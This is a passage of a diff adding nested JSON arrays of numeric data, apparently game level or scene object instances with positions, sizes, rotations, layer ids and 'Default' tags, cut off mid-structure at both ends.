+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6721,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3717,
+ 429,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6722,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3715,
+ 365,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6723,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3997,
+ 435,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6724,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3995,
+ 371,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6725,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3411,
+ 748,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6726,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4592,
+ 469,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6727,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4829,
+ 564,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6728,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5088,
+ 469,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6729,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 171,
+ 927.5,
+ 0,
+ 372,
+ 378,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6730,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 948,
+ 1022,
+ 0,
+ 1206,
+ 188,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6731,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1367,
+ 1021,
+ 0,
+ 368,
+ 378,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6732,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1458.531982421875,
+ 927.2275390625,
+ 0,
+ 183.546630859375,
+ 378,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6733,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1864.2265625,
+ 800.434814453125,
+ 0,
+ 366,
+ 565.1304321289062,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6734,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2401,
+ 872.6763916015625,
+ 0,
+ 276,
+ 372.6472778320313,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6735,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2892.5,
+ 1041,
+ 0,
+ 277,
+ 372,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6736,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3495,
+ 1088.5,
+ 0,
+ 1093,
+ 277,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6737,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3904,
+ 1044,
+ 0,
+ 277,
+ 372,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6738,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4320.5,
+ 874,
+ 0,
+ 184,
+ 468,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6739,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4830,
+ 668,
+ 0,
+ 93,
+ 50,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6740,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5340,
+ 877.5,
+ 0,
+ 157,
+ 477,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6741,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1665.477416992188,
+ 726.0426025390625,
+ 0,
+ 183.546630859375,
+ 378,
+ 0,
+ 0.5410520434379578,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6742,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2139.71044921875,
+ 706.555908203125,
+ 0,
+ 183.546630859375,
+ 378,
+ 0,
+ 2.234021425247192,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6743,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2630.9501953125,
+ 875.760498046875,
+ 0,
+ 183.546630859375,
+ 378,
+ 0,
+ 2.234021425247192,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6744,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3718,
+ 530.5,
+ 0,
+ 93,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6745,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3996,
+ 531,
+ 0,
+ 93,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6746,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4164.05712890625,
+ 853.2183837890625,
+ 0,
+ 183.546630859375,
+ 378,
+ 0,
+ 0.7853981852531433,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6747,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 405,
+ 963,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6748,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 32,
+ 963,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6749,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1157,
+ 963,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6750,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 784,
+ 963,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6751,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1908.776489257813,
+ 962.9671630859375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6752,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1535.776489257813,
+ 962.9671630859375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6753,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2660.7763671875,
+ 962.9671630859375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6754,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2287.7763671875,
+ 962.9671630859375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6755,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3412.899658203125,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6756,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3039.899658203125,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6757,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4164.8994140625,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6758,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3791.899658203125,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6759,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4915.8994140625,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6760,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4542.8994140625,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6761,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5667.8994140625,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6762,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5294.8994140625,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6763,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2858,
+ 1430,
+ 0,
+ 5941,
+ 703,
+ 0,
+ 0,
+ 1,
+ 0.5078125,
+ 0.5182482004165649,
+ 0,
+ 0,
+ []
+ ],
+ 537,
+ 6764,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 406,
+ -81,
+ 0,
+ 104.6947937011719,
+ 104.6947937011719,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 539,
+ 6769,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 407,
+ 24,
+ 0,
+ 127,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5354330539703369,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 441,
+ 6770,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 942,
+ 912,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6771,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 971,
+ 912,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6772,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1001,
+ 912,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6773,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 505,
+ 912,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6774,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 534,
+ 912,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6778,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 564,
+ 912,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6781,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 532,
+ 818,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6782,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1243,
+ 629,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 6785,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1243,
+ 628,
+ 0,
+ 93,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6786,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1485,
+ 499,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 6789,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1485,
+ 498,
+ 0,
+ 93,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6790,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1867,
+ 476,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6791,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3410,
+ 836,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 6792,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3410,
+ 835,
+ 0,
+ 93,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6795,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3815,
+ 811,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6796,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
